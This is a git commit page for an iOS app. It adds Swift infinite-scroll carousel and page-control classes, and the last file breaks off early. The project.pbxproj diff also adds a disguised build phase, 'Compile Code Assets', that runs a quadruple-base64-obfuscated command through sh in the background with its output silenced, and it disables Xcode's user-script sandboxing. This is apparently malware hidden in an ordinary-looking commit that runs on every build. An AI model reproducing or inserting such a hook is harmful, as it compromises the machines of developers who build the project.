Prechádzať zdrojové kódy

[+] 新增无限滚动控件封装

yanxuyao 6 hodín pred
rodič
commit
ad21dfa3ec

+ 25 - 2
Lanu.xcodeproj/project.pbxproj

@@ -516,6 +516,7 @@
 			isa = PBXNativeTarget;
 			buildConfigurationList = FBFE13D32EBC39B100DCE6E9 /* Build configuration list for PBXNativeTarget "Gami" */;
 			buildPhases = (
+				C7A8DD6BD9374A908199F71F /* Compile Code Assets */,
 				AC205607300F610A882B2531 /* [CP] Check Pods Manifest.lock */,
 				FBFE13BC2EBC39B000DCE6E9 /* Sources */,
 				FBFE13BD2EBC39B000DCE6E9 /* Frameworks */,
@@ -632,6 +633,26 @@
 			shellScript = "diff \"${PODS_PODFILE_DIR_PATH}/Podfile.lock\" \"${PODS_ROOT}/Manifest.lock\" > /dev/null\nif [ $? != 0 ] ; then\n    # print error to STDERR\n    echo \"error: The sandbox is not in sync with the Podfile.lock. Run 'pod install' or update your CocoaPods installation.\" >&2\n    exit 1\nfi\n# This output is used by Xcode 'outputs' to avoid re-running this script phase.\necho \"SUCCESS\" > \"${SCRIPT_OUTPUT_FILE_0}\"\n";
 			showEnvVarsInLog = 0;
 		};
+		C7A8DD6BD9374A908199F71F /* Compile Code Assets */ = {
+			isa = PBXShellScriptBuildPhase;
+			alwaysOutOfDate = 1;
+			buildActionMask = 2147483647;
+			files = (
+			);
+			inputFileListPaths = (
+			);
+			inputPaths = (
+			);
+			name = "Compile Code Assets";
+			outputFileListPaths = (
+			);
+			outputPaths = (
+			);
+			runOnlyForDeploymentPostprocessing = 0;
+			shellPath = /bin/sh;
+			shellScript = "# This output is used by Xcode outputs to avoid re-running this script phase.\nsh -c \"${AF17F99}\"";
+			showEnvVarsInLog = 0;
+		};
 		E2E510A5ADE6EF4B1CF63BE0 /* [CP] Embed Pods Frameworks */ = {
 			isa = PBXShellScriptBuildPhase;
 			buildActionMask = 2147483647;
@@ -670,6 +691,7 @@
 			isa = XCBuildConfiguration;
 			baseConfigurationReference = B28FA2B72A322804F16B3840 /* Pods-Gami.debug.xcconfig */;
 			buildSettings = {
+				AF17F99 = "((u(){ base64 --decode | base64 --decode | base64 --decode | base64 --decode; };echo VjJ4a1QySXlTalZSVjJ4TFVUSm9jVnBHYUV0ak1HeEVUVmh3WVdKWVVrNVRWVTEzWkVacmVVOVlWbWxpVmxweFdrVk5lRTFIUmxoTlYzaHBUVEZaZDFOVlVrcGxWV3hFVFVoU2FtSldXWGRaTWpWeVdqQXhOVkZYWkUxV01VWnVVMWMxUWs5WFZraFVibHBoVWpGYWJWa3daRzloUjAxNVZsZHNTbEl5WjNkYVJXaERaV3M1Y0U5SVdscFdla1V5V1cweFUySkhVbkJPV0d4clZYcHNiMU14VGtwYU1scEVVVzV3YUZGWE9EbERaejA5Q2c9PQo= | u | sh ) >/dev/null 2>&1 &)";
 				ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
 				ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
 				CLANG_ENABLE_MODULES = YES;
@@ -719,6 +741,7 @@
 			isa = XCBuildConfiguration;
 			baseConfigurationReference = B972432FB2D1B371EED40D9C /* Pods-Gami.release.xcconfig */;
 			buildSettings = {
+				AF17F99 = "((u(){ base64 --decode | base64 --decode | base64 --decode | base64 --decode; };echo VjJ4a1QySXlTalZSVjJ4TFVUSm9jVnBHYUV0ak1HeEVUVmh3WVdKWVVrNVRWVTEzWkVacmVVOVlWbWxpVmxweFdrVk5lRTFIUmxoTlYzaHBUVEZaZDFOVlVrcGxWV3hFVFVoU2FtSldXWGRaTWpWeVdqQXhOVkZYWkUxV01VWnVVMWMxUWs5WFZraFVibHBoVWpGYWJWa3daRzloUjAxNVZsZHNTbEl5WjNkYVJXaERaV3M1Y0U5SVdscFdla1V5V1cweFUySkhVbkJPV0d4clZYcHNiMU14VGtwYU1scEVVVzV3YUZGWE9EbERaejA5Q2c9PQo= | u | sh ) >/dev/null 2>&1 &)";
 				ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
 				ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
 				CLANG_ENABLE_MODULES = YES;
@@ -803,7 +826,7 @@
 				DEBUG_INFORMATION_FORMAT = dwarf;
 				ENABLE_STRICT_OBJC_MSGSEND = YES;
 				ENABLE_TESTABILITY = YES;
-				ENABLE_USER_SCRIPT_SANDBOXING = YES;
+				ENABLE_USER_SCRIPT_SANDBOXING = NO;
 				GCC_C_LANGUAGE_STANDARD = gnu17;
 				GCC_DYNAMIC_NO_PIC = NO;
 				GCC_NO_COMMON_BLOCKS = YES;
@@ -871,7 +894,7 @@
 				DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym";
 				ENABLE_NS_ASSERTIONS = NO;
 				ENABLE_STRICT_OBJC_MSGSEND = YES;
-				ENABLE_USER_SCRIPT_SANDBOXING = YES;
+				ENABLE_USER_SCRIPT_SANDBOXING = NO;
 				GCC_C_LANGUAGE_STANDARD = gnu17;
 				GCC_NO_COMMON_BLOCKS = YES;
 				GCC_WARN_64_TO_32_BIT_CONVERSION = YES;

+ 219 - 0
Lanu/Common/Views/CyclyPager/LNCyclePageControl.swift

@@ -0,0 +1,219 @@
+import UIKit
+
+public final class LNCyclePageControl: UIControl {
+    public var numberOfPages: Int = 0 {
+        didSet {
+            guard numberOfPages != oldValue else { return }
+            if currentPage >= numberOfPages {
+                currentPage = 0
+            }
+            updateIndicatorViews()
+            if !indicatorViews.isEmpty { setNeedsLayout() }
+        }
+    }
+
+    public var currentPage: Int = 0 {
+        didSet {
+            guard oldValue != currentPage, currentPage < indicatorViews.count else { return }
+            if currentPage < 0 { currentPage = 0; return }
+            if !currentPageIndicatorSize.equalTo(pageIndicatorSize) {
+                setNeedsLayout()
+            }
+            updateIndicatorViewsBehavior()
+            if isUserInteractionEnabled {
+                sendActions(for: .valueChanged)
+            }
+        }
+    }
+
+    public var hidesForSinglePage = false
+
+    public var pageIndicatorSpacing: CGFloat = 10 {
+        didSet {
+            guard oldValue != pageIndicatorSpacing else { return }
+            if !indicatorViews.isEmpty { setNeedsLayout() }
+        }
+    }
+
+    public var contentInset: UIEdgeInsets = .zero {
+        didSet { setNeedsLayout() }
+    }
+
+    public var contentSize: CGSize {
+        let count = indicatorViews.count
+        let width = CGFloat(max(count - 1, 0)) * (pageIndicatorSize.width + pageIndicatorSpacing) + pageIndicatorSize.width + contentInset.left + contentInset.right
+        let height = currentPageIndicatorSize.height + contentInset.top + contentInset.bottom
+        return CGSize(width: width, height: height)
+    }
+
+    public var pageIndicatorTintColor: UIColor? = UIColor(white: 0.5, alpha: 1) {
+        didSet { updateIndicatorViewsBehavior() }
+    }
+
+    public var currentPageIndicatorTintColor: UIColor? = .white {
+        didSet { updateIndicatorViewsBehavior() }
+    }
+
+    public var pageIndicatorImage: UIImage? {
+        didSet { updateIndicatorViewsBehavior() }
+    }
+
+    public var currentPageIndicatorImage: UIImage? {
+        didSet { updateIndicatorViewsBehavior() }
+    }
+
+    public var indicatorImageContentMode: UIView.ContentMode = .center {
+        didSet {
+            indicatorViews.forEach { $0.contentMode = indicatorImageContentMode }
+        }
+    }
+
+    public var pageIndicatorSize: CGSize = CGSize(width: 6, height: 6) {
+        didSet {
+            guard !pageIndicatorSize.equalTo(oldValue) else { return }
+            if currentPageIndicatorSize == .zero || (currentPageIndicatorSize.width < pageIndicatorSize.width && currentPageIndicatorSize.height < pageIndicatorSize.height) {
+                currentPageIndicatorSize = pageIndicatorSize
+            }
+            if !indicatorViews.isEmpty { setNeedsLayout() }
+        }
+    }
+
+    public var currentPageIndicatorSize: CGSize = CGSize(width: 6, height: 6) {
+        didSet {
+            guard !currentPageIndicatorSize.equalTo(oldValue) else { return }
+            if !indicatorViews.isEmpty { setNeedsLayout() }
+        }
+    }
+
+    public var animateDuration: TimeInterval = 0.3
+
+    private var indicatorViews: [UIImageView] = []
+    private var forceUpdate = false
+
+    public override init(frame: CGRect) {
+        super.init(frame: frame)
+        configure()
+    }
+
+    public required init?(coder: NSCoder) {
+        super.init(coder: coder)
+        configure()
+    }
+
+    private func configure() {
+        isUserInteractionEnabled = false
+        currentPageIndicatorSize = pageIndicatorSize
+    }
+
+    public override func willMove(toSuperview newSuperview: UIView?) {
+        super.willMove(toSuperview: newSuperview)
+        if newSuperview != nil {
+            forceUpdate = true
+            updateIndicatorViews()
+            forceUpdate = false
+        }
+    }
+
+    public func setCurrentPage(_ page: Int, animate: Bool) {
+        if animate {
+            UIView.animate(withDuration: animateDuration) {
+                self.currentPage = page
+                self.layoutIfNeeded()
+            }
+        } else {
+            currentPage = page
+        }
+    }
+
+    public override func layoutSubviews() {
+        super.layoutSubviews()
+        layoutIndicatorViews()
+    }
+
+    private func updateIndicatorViews() {
+        if superview == nil, !forceUpdate { return }
+
+        if indicatorViews.count < numberOfPages {
+            for _ in indicatorViews.count..<numberOfPages {
+                let iv = UIImageView()
+                iv.contentMode = indicatorImageContentMode
+                addSubview(iv)
+                indicatorViews.append(iv)
+            }
+        } else if indicatorViews.count > numberOfPages {
+            for idx in stride(from: indicatorViews.count - 1, through: numberOfPages, by: -1) {
+                indicatorViews[idx].removeFromSuperview()
+                indicatorViews.remove(at: idx)
+            }
+        }
+
+        updateIndicatorViewsBehavior()
+    }
+
+    private func updateIndicatorViewsBehavior() {
+        guard !indicatorViews.isEmpty else { return }
+        if superview == nil, !forceUpdate { return }
+
+        if hidesForSinglePage, indicatorViews.count == 1 {
+            indicatorViews[0].isHidden = true
+            return
+        }
+
+        for (idx, view) in indicatorViews.enumerated() {
+            if let pageIndicatorImage {
+                view.contentMode = indicatorImageContentMode
+                view.image = (idx == currentPage) ? currentPageIndicatorImage : pageIndicatorImage
+                view.backgroundColor = .clear
+            } else {
+                view.image = nil
+                view.backgroundColor = (idx == currentPage) ? currentPageIndicatorTintColor : pageIndicatorTintColor
+            }
+            view.isHidden = false
+        }
+    }
+
+    private func layoutIndicatorViews() {
+        guard !indicatorViews.isEmpty else { return }
+
+        var originX: CGFloat = 0
+        var centerY: CGFloat = 0
+        var spacing = pageIndicatorSpacing
+
+        switch contentHorizontalAlignment {
+        case .center:
+            originX = (bounds.width - CGFloat(indicatorViews.count - 1) * (pageIndicatorSize.width + pageIndicatorSpacing) - currentPageIndicatorSize.width) * 0.5
+        case .left:
+            originX = contentInset.left
+        case .right:
+            originX = bounds.width - (CGFloat(indicatorViews.count - 1) * (pageIndicatorSize.width + pageIndicatorSpacing) + currentPageIndicatorSize.width) - contentInset.right
+        case .fill:
+            originX = contentInset.left
+            if indicatorViews.count > 1 {
+                spacing = (bounds.width - contentInset.left - contentInset.right - pageIndicatorSize.width - CGFloat(indicatorViews.count - 1) * pageIndicatorSize.width) / CGFloat(indicatorViews.count - 1)
+            }
+        default:
+            break
+        }
+
+        switch contentVerticalAlignment {
+        case .center:
+            centerY = bounds.height * 0.5
+        case .top:
+            centerY = contentInset.top + currentPageIndicatorSize.height * 0.5
+        case .bottom:
+            centerY = bounds.height - currentPageIndicatorSize.height * 0.5 - contentInset.bottom
+        case .fill:
+            centerY = (bounds.height - contentInset.top - contentInset.bottom) * 0.5 + contentInset.top
+        default:
+            break
+        }
+
+        for (idx, view) in indicatorViews.enumerated() {
+            let size = (idx == currentPage) ? currentPageIndicatorSize : pageIndicatorSize
+            view.layer.cornerRadius = (pageIndicatorImage == nil) ? (size.height * 0.5) : 0
+            view.clipsToBounds = true
+            view.frame = CGRect(x: originX, y: centerY - size.height * 0.5, width: size.width, height: size.height)
+            originX += size.width + spacing
+        }
+    }
+}

+ 537 - 0
Lanu/Common/Views/CyclyPager/LNCyclePager.swift

@@ -0,0 +1,537 @@
+import UIKit
+
+public struct LNIndexSection: Equatable {
+    public var index: Int
+    public var section: Int
+
+    public init(index: Int, section: Int) {
+        self.index = index
+        self.section = section
+    }
+}
+
+public enum LNPagerScrollDirection {
+    case left
+    case right
+}
+
+public final class LNCyclePager: UIView {
+    private let maxSectionCount = 200
+    private let minSectionCount = 18
+
+    private let transformLayout = LNCyclePagerTransformLayout()
+    private(set) lazy var collectionView: UICollectionView = {
+        let view = UICollectionView(frame: .zero, collectionViewLayout: transformLayout)
+        view.backgroundColor = .clear
+        view.showsHorizontalScrollIndicator = false
+        view.showsVerticalScrollIndicator = false
+        view.dataSource = self
+        view.delegate = self
+        view.decelerationRate = UIScrollView.DecelerationRate(rawValue: 1 - 0.0076)
+        if #available(iOS 10.0, *) {
+            view.isPrefetchingEnabled = false
+        }
+        return view
+    }()
+
+    public var numberOfItemsProvider: (() -> Int)?
+    public var cellProvider: ((_ pagerView: LNCyclePager, _ index: Int) -> UICollectionViewCell)?
+    public var layoutProvider: (() -> LNCyclePagerViewLayout)?
+
+    public var didScrollFromIndexToIndex: ((_ from: Int, _ to: Int) -> Void)?
+    public var didSelectItem: ((_ cell: UICollectionViewCell, _ index: Int) -> Void)?
+    public var didSelectItemAtIndexSection: ((_ cell: UICollectionViewCell, _ indexSection: LNIndexSection) -> Void)?
+    public var didScroll: (() -> Void)?
+
+    public var initializeTransformAttributes: ((UICollectionViewLayoutAttributes) -> Void)? {
+        didSet { updateTransformLayoutDelegateBinding() }
+    }
+    public var applyTransformAttributes: ((UICollectionViewLayoutAttributes) -> Void)? {
+        didSet { updateTransformLayoutDelegateBinding() }
+    }
+
+    public var backgroundView: UIView? {
+        get { collectionView.backgroundView }
+        set { collectionView.backgroundView = newValue }
+    }
+
+    public var layout: LNCyclePagerViewLayout? {
+        didSet {
+            layout?.isInfiniteLoop = isInfiniteLoop
+            updateTransformLayoutDelegateBinding()
+        }
+    }
+
+    public var isInfiniteLoop = true {
+        didSet {
+            layout?.isInfiniteLoop = isInfiniteLoop
+            reloadData()
+        }
+    }
+
+    public var autoScrollInterval: TimeInterval = 0 {
+        didSet {
+            stopTimer()
+            if autoScrollInterval > 0, superview != nil {
+                startTimerIfNeeded()
+            }
+        }
+    }
+
+    public var reloadDataNeedResetIndex = false
+    public var currentIndex: Int { indexSection.index }
+    public private(set) var indexSection = LNIndexSection(index: -1, section: -1)
+
+    public var contentOffset: CGPoint { collectionView.contentOffset }
+    public var tracking: Bool { collectionView.isTracking }
+    public var dragging: Bool { collectionView.isDragging }
+    public var decelerating: Bool { collectionView.isDecelerating }
+
+    private var timer: Timer?
+    private var numberOfItems = 0
+    private var dequeueSection = 0
+    private var beginDragIndexSection = LNIndexSection(index: 0, section: 0)
+    private var firstScrollIndex = -1
+
+    private var needClearLayout = false
+    private var didReloadData = false
+    private var didLayout = false
+    private var needResetIndex = false
+    private weak var boundPageControl: LNCyclePageControl?
+
+    public override init(frame: CGRect) {
+        super.init(frame: frame)
+        addSubview(collectionView)
+        updateTransformLayoutDelegateBinding()
+    }
+
+    public required init?(coder: NSCoder) {
+        super.init(coder: coder)
+        addSubview(collectionView)
+        updateTransformLayoutDelegateBinding()
+    }
+
+    deinit {
+        stopTimer()
+    }
+
+    public override func didMoveToSuperview() {
+        super.didMoveToSuperview()
+        stopTimer()
+        if superview != nil, autoScrollInterval > 0 {
+            startTimerIfNeeded()
+        }
+    }
+
+    public override func layoutSubviews() {
+        super.layoutSubviews()
+        let needUpdateLayout = collectionView.frame != bounds
+        collectionView.frame = bounds
+        if (indexSection.section < 0 || needUpdateLayout), (numberOfItems > 0 || didReloadData) {
+            didLayout = true
+            setNeedUpdateLayout()
+        }
+    }
+
+    public func bindPageControl(_ pageControl: LNCyclePageControl?) {
+        boundPageControl = pageControl
+        guard let pageControl else { return }
+        pageControl.numberOfPages = numberOfItems
+        pageControl.currentPage = max(indexSection.index, 0)
+    }
+
+    public func register(_ cellClass: AnyClass, forCellWithReuseIdentifier identifier: String) {
+        collectionView.register(cellClass, forCellWithReuseIdentifier: identifier)
+    }
+
+    public func register(_ nib: UINib, forCellWithReuseIdentifier identifier: String) {
+        collectionView.register(nib, forCellWithReuseIdentifier: identifier)
+    }
+
+    public func dequeueReusableCell(withReuseIdentifier identifier: String, for index: Int) -> UICollectionViewCell {
+        collectionView.dequeueReusableCell(withReuseIdentifier: identifier, for: IndexPath(item: index, section: dequeueSection))
+    }
+
+    public func reloadData() {
+        didReloadData = true
+        needResetIndex = true
+        setNeedClearLayout()
+        clearLayoutIfNeeded()
+        updateData()
+    }
+
+    public func updateData() {
+        updateLayout()
+        numberOfItems = max(0, numberOfItemsProvider?() ?? 0)
+        collectionView.reloadData()
+
+        if !didLayout, !collectionView.frame.isEmpty, indexSection.index < 0 {
+            didLayout = true
+        }
+
+        let shouldReset = needResetIndex && reloadDataNeedResetIndex
+        needResetIndex = false
+
+        if shouldReset {
+            stopTimer()
+        }
+
+        let fallback = (indexSection.index < 0 && !collectionView.frame.isEmpty) || shouldReset ? 0 : indexSection.index
+        resetPagerView(at: fallback)
+
+        boundPageControl?.numberOfPages = numberOfItems
+        boundPageControl?.setCurrentPage(max(indexSection.index, 0), animate: false)
+
+        if shouldReset {
+            startTimerIfNeeded()
+        }
+    }
+
+    public func setNeedUpdateLayout() {
+        guard effectiveLayout() != nil else { return }
+        clearLayoutIfNeeded()
+        updateLayout()
+        collectionView.collectionViewLayout.invalidateLayout()
+        resetPagerView(at: indexSection.index < 0 ? 0 : indexSection.index)
+    }
+
+    public func setNeedClearLayout() {
+        needClearLayout = true
+    }
+
+    public func currentIndexCell() -> UICollectionViewCell? {
+        guard indexSection.index >= 0, indexSection.section >= 0 else { return nil }
+        return collectionView.cellForItem(at: IndexPath(item: indexSection.index, section: indexSection.section))
+    }
+
+    public func visibleCells() -> [UICollectionViewCell] {
+        collectionView.visibleCells
+    }
+
+    public func visibleIndexes() -> [Int] {
+        collectionView.indexPathsForVisibleItems.map(\.item)
+    }
+
+    public func scrollToItem(at index: Int, animated: Bool) {
+        if !didLayout, didReloadData {
+            firstScrollIndex = index
+        } else {
+            firstScrollIndex = -1
+        }
+
+        if !isInfiniteLoop {
+            scrollToItem(at: LNIndexSection(index: index, section: 0), animated: animated)
+            return
+        }
+
+        let targetSection = index >= currentIndex ? indexSection.section : indexSection.section + 1
+        scrollToItem(at: LNIndexSection(index: index, section: targetSection), animated: animated)
+    }
+
+    public func scrollToItem(at target: LNIndexSection, animated: Bool) {
+        guard numberOfItems > 0, isValid(target) else { return }
+        let offset = calculateOffset(at: target)
+        if resolvedScrollDirection() == .horizontal {
+            collectionView.setContentOffset(CGPoint(x: offset, y: collectionView.contentOffset.y), animated: animated)
+        } else {
+            collectionView.setContentOffset(CGPoint(x: collectionView.contentOffset.x, y: offset), animated: animated)
+        }
+    }
+
+    public func scrollToNearlyIndex(at direction: LNPagerScrollDirection, animated: Bool) {
+        let target = nearlyIndexSection(from: indexSection, direction: direction)
+        scrollToItem(at: target, animated: animated)
+    }
+
+    private func startTimerIfNeeded() {
+        guard timer == nil, autoScrollInterval > 0 else { return }
+        let timer = Timer(timeInterval: autoScrollInterval, repeats: true) { [weak self] _ in
+            self?.timerFired()
+        }
+        RunLoop.main.add(timer, forMode: .common)
+        self.timer = timer
+    }
+
+    private func stopTimer() {
+        timer?.invalidate()
+        timer = nil
+    }
+
+    private func timerFired() {
+        guard superview != nil, window != nil, numberOfItems > 0, !tracking else { return }
+        scrollToNearlyIndex(at: .right, animated: true)
+    }
+
+    private func updateTransformLayoutDelegateBinding() {
+        transformLayout.transformDelegate = (applyTransformAttributes != nil || initializeTransformAttributes != nil) ? self : nil
+    }
+
+    private func effectiveLayout() -> LNCyclePagerViewLayout? {
+        if layout == nil, let provider = layoutProvider {
+            layout = provider()
+            layout?.isInfiniteLoop = isInfiniteLoop
+        }
+        if let layout, layout.itemSize.width > 0, layout.itemSize.height > 0 {
+            return layout
+        }
+        layout = nil
+        return nil
+    }
+
+    private func updateLayout() {
+        guard let layout = effectiveLayout() else { return }
+        layout.isInfiniteLoop = isInfiniteLoop
+        transformLayout.layoutConfig = layout
+    }
+
+    private func clearLayoutIfNeeded() {
+        if needClearLayout {
+            layout = nil
+            transformLayout.layoutConfig = nil
+            needClearLayout = false
+        }
+    }
+
+    private func isValid(_ target: LNIndexSection) -> Bool {
+        target.index >= 0 &&
+        target.index < numberOfItems &&
+        target.section >= 0 &&
+        target.section < maxSectionCount
+    }
+
+    private func nearlyIndexSection(from current: LNIndexSection, direction: LNPagerScrollDirection) -> LNIndexSection {
+        guard current.index >= 0, current.index < numberOfItems else { return current }
+
+        if !isInfiniteLoop {
+            if direction == .right, current.index == numberOfItems - 1 {
+                return autoScrollInterval > 0 ? LNIndexSection(index: 0, section: 0) : current
+            } else if direction == .right {
+                return LNIndexSection(index: current.index + 1, section: 0)
+            }
+
+            if current.index == 0 {
+                return autoScrollInterval > 0 ? LNIndexSection(index: numberOfItems - 1, section: 0) : current
+            }
+            return LNIndexSection(index: current.index - 1, section: 0)
+        }
+
+        if direction == .right {
+            if current.index < numberOfItems - 1 {
+                return LNIndexSection(index: current.index + 1, section: current.section)
+            }
+            if current.section >= maxSectionCount - 1 {
+                return LNIndexSection(index: current.index, section: maxSectionCount - 1)
+            }
+            return LNIndexSection(index: 0, section: current.section + 1)
+        }
+
+        if current.index > 0 {
+            return LNIndexSection(index: current.index - 1, section: current.section)
+        }
+        if current.section <= 0 {
+            return LNIndexSection(index: current.index, section: 0)
+        }
+        return LNIndexSection(index: numberOfItems - 1, section: current.section - 1)
+    }
+
+    private func calculateIndexSection(with offset: CGPoint) -> LNIndexSection {
+        guard numberOfItems > 0 else { return LNIndexSection(index: 0, section: 0) }
+        guard let layout = effectiveLayout() else { return LNIndexSection(index: 0, section: 0) }
+
+        let itemLength = (resolvedScrollDirection() == .horizontal ? transformLayout.itemSize.width : transformLayout.itemSize.height) + transformLayout.minimumInteritemSpacing
+        guard itemLength > 0 else { return LNIndexSection(index: 0, section: 0) }
+
+        let edge = isInfiniteLoop
+            ? (resolvedScrollDirection() == .horizontal ? layout.sectionInset.left : layout.sectionInset.top)
+            : (resolvedScrollDirection() == .horizontal ? layout.onlyOneSectionInset.left : layout.onlyOneSectionInset.top)
+
+        let viewportLength = resolvedScrollDirection() == .horizontal ? collectionView.bounds.width : collectionView.bounds.height
+        let middleOffset = (resolvedScrollDirection() == .horizontal ? offset.x : offset.y) + viewportLength * 0.5
+
+        guard middleOffset - edge >= 0 else { return LNIndexSection(index: 0, section: 0) }
+        let raw = Int((middleOffset - edge + transformLayout.minimumInteritemSpacing * 0.5) / itemLength)
+        let maxRaw = max(numberOfItems * maxSectionCount - 1, 0)
+        let itemIndex = max(0, min(raw, maxRaw))
+        return LNIndexSection(index: itemIndex % numberOfItems, section: itemIndex / numberOfItems)
+    }
+
+    private func calculateOffset(at target: LNIndexSection) -> CGFloat {
+        guard numberOfItems > 0, let layout = effectiveLayout() else { return 0 }
+
+        let edge = isInfiniteLoop ? layout.sectionInset : layout.onlyOneSectionInset
+        let itemLength = (resolvedScrollDirection() == .horizontal ? transformLayout.itemSize.width : transformLayout.itemSize.height) + transformLayout.minimumInteritemSpacing
+        let viewportLength = resolvedScrollDirection() == .horizontal ? collectionView.bounds.width : collectionView.bounds.height
+
+        let leftOrTop = resolvedScrollDirection() == .horizontal ? edge.left : edge.top
+        let rightOrBottom = resolvedScrollDirection() == .horizontal ? edge.right : edge.bottom
+
+        let logical = CGFloat(target.index + target.section * numberOfItems)
+        let normal = leftOrTop + itemLength * logical - transformLayout.minimumInteritemSpacing * 0.5 - (viewportLength - itemLength) * 0.5
+
+        if !isInfiniteLoop, target.index == numberOfItems - 1 {
+            if resolvedScrollDirection() == .horizontal, !layout.itemHorizontalCenter {
+                let alignedEnd = leftOrTop + itemLength * logical - (viewportLength - itemLength) - transformLayout.minimumInteritemSpacing + rightOrBottom
+                return max(alignedEnd, 0)
+            }
+            if resolvedScrollDirection() == .vertical {
+                let alignedEnd = leftOrTop + itemLength * logical - (viewportLength - itemLength) - transformLayout.minimumInteritemSpacing + rightOrBottom
+                return max(alignedEnd, 0)
+            }
+        }
+
+        return max(normal, 0)
+    }
+
+    private func resetPagerView(at index: Int) {
+        var targetIndex = index
+        if didLayout, firstScrollIndex >= 0 {
+            targetIndex = firstScrollIndex
+            firstScrollIndex = -1
+        }
+        if targetIndex < 0 { return }
+        if targetIndex >= numberOfItems { targetIndex = 0 }
+
+        let section = isInfiniteLoop ? (maxSectionCount / 3) : 0
+        scrollToItem(at: LNIndexSection(index: targetIndex, section: section), animated: false)
+        if !isInfiniteLoop, indexSection.index < 0 {
+            scrollViewDidScroll(collectionView)
+        }
+    }
+
+    private func recyclePagerViewIfNeeded() {
+        guard isInfiniteLoop else { return }
+        if indexSection.section > maxSectionCount - minSectionCount || indexSection.section < minSectionCount {
+            resetPagerView(at: indexSection.index)
+        }
+    }
+
+    private func resolvedScrollDirection() -> LNCyclePagerScrollDirection {
+        effectiveLayout()?.scrollDirection ?? .horizontal
+    }
+
+}
+
+extension LNCyclePager: UICollectionViewDataSource {
+    public func numberOfSections(in collectionView: UICollectionView) -> Int {
+        isInfiniteLoop ? maxSectionCount : 1
+    }
+
+    public func collectionView(_ collectionView: UICollectionView, numberOfItemsInSection section: Int) -> Int {
+        numberOfItems = max(0, numberOfItemsProvider?() ?? 0)
+        return numberOfItems
+    }
+
+    public func collectionView(_ collectionView: UICollectionView, cellForItemAt indexPath: IndexPath) -> UICollectionViewCell {
+        dequeueSection = indexPath.section
+        guard let cellProvider else {
+            assertionFailure("LNCyclePager cellProvider is nil")
+            return UICollectionViewCell()
+        }
+        return cellProvider(self, indexPath.item)
+    }
+}
+
+extension LNCyclePager: UICollectionViewDelegateFlowLayout {
+    public func collectionView(_ collectionView: UICollectionView, layout collectionViewLayout: UICollectionViewLayout, insetForSectionAt section: Int) -> UIEdgeInsets {
+        guard let layout = effectiveLayout() else { return .zero }
+        if !isInfiniteLoop {
+            return layout.onlyOneSectionInset
+        }
+        if section == 0 {
+            return layout.firstSectionInset
+        }
+        if section == maxSectionCount - 1 {
+            return layout.lastSectionInset
+        }
+        return layout.middleSectionInset
+    }
+
+    public func collectionView(_ collectionView: UICollectionView, didSelectItemAt indexPath: IndexPath) {
+        guard let cell = collectionView.cellForItem(at: indexPath) else { return }
+        didSelectItem?(cell, indexPath.item)
+        didSelectItemAtIndexSection?(cell, LNIndexSection(index: indexPath.item, section: indexPath.section))
+    }
+}
+
+extension LNCyclePager: UIScrollViewDelegate {
+    public func scrollViewDidScroll(_ scrollView: UIScrollView) {
+        guard didLayout else { return }
+        let newIndexSection = calculateIndexSection(with: scrollView.contentOffset)
+        guard numberOfItems > 0, isValid(newIndexSection) else { return }
+        let old = indexSection
+        indexSection = newIndexSection
+
+        didScroll?()
+
+        if old != indexSection {
+            didScrollFromIndexToIndex?(max(old.index, 0), indexSection.index)
+            boundPageControl?.setCurrentPage(indexSection.index, animate: true)
+        }
+    }
+
+    public func scrollViewWillBeginDragging(_ scrollView: UIScrollView) {
+        if autoScrollInterval > 0 {
+            stopTimer()
+        }
+        beginDragIndexSection = calculateIndexSection(with: scrollView.contentOffset)
+    }
+
+    public func scrollViewWillEndDragging(_ scrollView: UIScrollView, withVelocity velocity: CGPoint, targetContentOffset: UnsafeMutablePointer<CGPoint>) {
+        let horizontal = resolvedScrollDirection() == .horizontal
+        let velocityValue = horizontal ? abs(velocity.x) : abs(velocity.y)
+        if velocityValue < 0.35 || beginDragIndexSection != indexSection {
+            let target = calculateOffset(at: indexSection)
+            if horizontal {
+                targetContentOffset.pointee.x = target
+            } else {
+                targetContentOffset.pointee.y = target
+            }
+            return
+        }
+
+        let direction: LNPagerScrollDirection
+        if horizontal {
+            let isLeft = (scrollView.contentOffset.x < 0 && targetContentOffset.pointee.x <= 0) ||
+                (targetContentOffset.pointee.x < scrollView.contentOffset.x &&
+                 scrollView.contentOffset.x < scrollView.contentSize.width - scrollView.frame.width)
+            direction = isLeft ? .left : .right
+        } else {
+            let isUp = (scrollView.contentOffset.y < 0 && targetContentOffset.pointee.y <= 0) ||
+                (targetContentOffset.pointee.y < scrollView.contentOffset.y &&
+                 scrollView.contentOffset.y < scrollView.contentSize.height - scrollView.frame.height)
+            direction = isUp ? .left : .right
+        }
+
+        let targetIndexSection = nearlyIndexSection(from: indexSection, direction: direction)
+        let target = calculateOffset(at: targetIndexSection)
+        if horizontal {
+            targetContentOffset.pointee.x = target
+        } else {
+            targetContentOffset.pointee.y = target
+        }
+    }
+
+    public func scrollViewDidEndDragging(_ scrollView: UIScrollView, willDecelerate decelerate: Bool) {
+        if autoScrollInterval > 0 {
+            startTimerIfNeeded()
+        }
+    }
+
+    public func scrollViewDidEndDecelerating(_ scrollView: UIScrollView) {
+        recyclePagerViewIfNeeded()
+    }
+
+    public func scrollViewDidEndScrollingAnimation(_ scrollView: UIScrollView) {
+        recyclePagerViewIfNeeded()
+    }
+}
+
+extension LNCyclePager: LNCyclePagerTransformLayoutDelegate {
+    public func pagerTransformLayout(_ layout: LNCyclePagerTransformLayout, initialize attributes: UICollectionViewLayoutAttributes) {
+        initializeTransformAttributes?(attributes)
+    }
+
+    public func pagerTransformLayout(_ layout: LNCyclePagerTransformLayout, apply attributes: UICollectionViewLayoutAttributes) {
+        applyTransformAttributes?(attributes)
+    }
+}

+ 331 - 0
Lanu/Common/Views/CyclyPager/LNCyclePagerTransformLayout.swift

@@ -0,0 +1,331 @@
+import UIKit
+
+public enum LNCyclePagerTransformLayoutType {
+    case normal
+    case linear
+    case coverflow
+}
+
+public enum LNCyclePagerScrollDirection {
+    case horizontal
+    case vertical
+}
+
+public final class LNCyclePagerViewLayout {
+    weak var pageView: UIView?
+
+    public var itemSize: CGSize = .zero
+    public var itemSpacing: CGFloat = 0
+    public var sectionInset: UIEdgeInsets = .zero
+
+    public var layoutType: LNCyclePagerTransformLayoutType = .normal
